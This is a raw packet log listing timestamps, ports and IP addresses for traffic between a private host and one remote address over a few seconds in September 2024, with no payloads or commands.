Sep 26, 2024 01:49:02.735666037 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.750900984 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.755712986 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.778472900 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.781318903 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.781404018 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.826792955 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.827111006 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.878762960 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.878906965 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.883893013 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.903358936 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.908351898 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.923054934 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.939315081 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.974879026 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.975111008 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.022747993 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.022897005 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.027801991 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.029272079 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.034187078 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.035139084 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.060117960 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.106678009 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.106884003 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.111778021 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.128366947 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.133279085 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.154618025 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.159164906 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.199579954 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.202703953 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.202826977 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.207694054 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.215856075 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.220714092 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.224214077 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.247210026 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.294781923 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.294847965 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.299819946 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.311407089 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.316576958 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.341703892 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.346721888 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.348937988 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.372844934 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.418872118 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.419049025 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.424027920 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.434670925 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.439660072 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.465751886 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.470654964 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.498697996 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.503616095 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.528583050 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.533515930 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.560190916 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.565172911 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.598134041 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.603131056 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.604630947 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.652766943 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.667896032 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.694067955 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.737737894 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.737860918 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.828540087 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.876564026 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.907769918 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:03.919296026 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:03.938307047 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.156858921 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.157008886 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.157203913 CEST	9000	58374	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.157275915 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.157275915 CEST	58374	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.157403946 CEST	58374	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.161885023 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.162204027 CEST	9000	58374	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.177650928 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.177766085 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.184802055 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.239048958 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.239142895 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.244035959 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.247229099 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.252145052 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.262938023 CEST	58375	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.267899036 CEST	9000	58375	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.268066883 CEST	58375	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.268162012 CEST	58375	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.272965908 CEST	9000	58375	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.278680086 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.283668041 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.312316895 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.317209005 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.341043949 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.346322060 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.349344969 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.374380112 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.430653095 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.430773020 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.435517073 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.435581923 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.440584898 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.466093063 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.471697092 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.477399111 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.499021053 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.550628901 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.550698042 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.557694912 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.560092926 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.562827110 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.605827093 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.607450008 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.607500076 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.612314939 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.622631073 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.628308058 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.646394968 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.654607058 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.702631950 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.702707052 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.703478098 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.707633018 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.716068029 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.720864058 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.747380972 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.752216101 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.758635998 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.778480053 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.812026024 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.812125921 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.858752012 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.860465050 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.866822958 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.873873949 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.874453068 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.918555975 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.922700882 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.923782110 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.928659916 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.934962988 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.939836979 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.950325012 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:04.955173969 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.957654953 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:04.965806961 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.015104055 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.016303062 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.019619942 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.021234989 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.028388023 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.033297062 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.054339886 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.059487104 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.061573029 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.075658083 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.122652054 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.122777939 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.124214888 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.124310970 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.127628088 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.129244089 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.153678894 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.158720970 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.169107914 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.174052954 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.184554100 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.189419985 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.200154066 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.205013990 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.216142893 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.218604088 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.249866009 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.249948025 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.298815012 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.298894882 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.304008007 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.309597015 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.312028885 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.312108994 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.358627081 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.358705044 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.364104986 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.374311924 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.379165888 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.395020008 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.403239012 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.450675964 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.450769901 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.455034971 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.456420898 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.467358112 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.473284960 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.481592894 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.486438036 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.497802019 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.499423981 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.543339968 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.548230886 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.548423052 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.577888966 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.577965975 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.626669884 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.626725912 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.631947041 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.638045073 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.642946959 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.644151926 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.653549910 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.702709913 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.702788115 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.707674980 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.717547894 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.722408056 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.758425951 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.758507967 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.810784101 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.810858965 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.815790892 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.825428963 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.830353975 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.840656042 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.845515966 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.854444027 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.856431007 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.906655073 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.906716108 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.906732082 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.911561966 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.918998003 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.923877001 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.934602976 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.939506054 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.950252056 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.953138113 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.953219891 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:05.998686075 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:05.998774052 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.003328085 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.003664970 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.012706995 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.017647982 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.031439066 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.036185026 CEST	9000	58375	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.036298990 CEST	58375	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.036406994 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.036547899 CEST	58375	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.036889076 CEST	58376	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.041424036 CEST	9000	58375	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.041798115 CEST	9000	58376	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.041908979 CEST	58376	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.042011976 CEST	58376	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.046847105 CEST	9000	58376	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.060697079 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.065601110 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.077147961 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.081995964 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.094574928 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.104969025 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.150731087 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.150841951 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.155775070 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.155859947 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.156481981 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.199609995 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.204691887 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.204786062 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.246675014 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.249583960 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.298927069 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.299855947 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.300818920 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.300909996 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.304642916 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.346074104 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.346139908 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.395699024 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.449913025 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.485253096 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.495062113 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.496927977 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.542639971 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.543175936 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.548093081 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.549493074 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.554244995 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.577466011 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.582307100 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.586014986 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.591185093 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.638612032 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.638674974 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.643548965 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.653270960 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.667433023 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.669904947 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.674724102 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.685384989 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.686925888 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.730819941 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.734675884 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.734735966 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.739533901 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.746915102 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.751704931 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.763881922 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.768759966 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.778398991 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.783247948 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.793989897 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.798821926 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.804706097 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.810009003 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.858617067 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.858679056 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.863531113 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.872215986 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.876992941 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:06.888068914 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:06.889683962 CEST	15647	49716	213.109.202.97	192.168.2.7
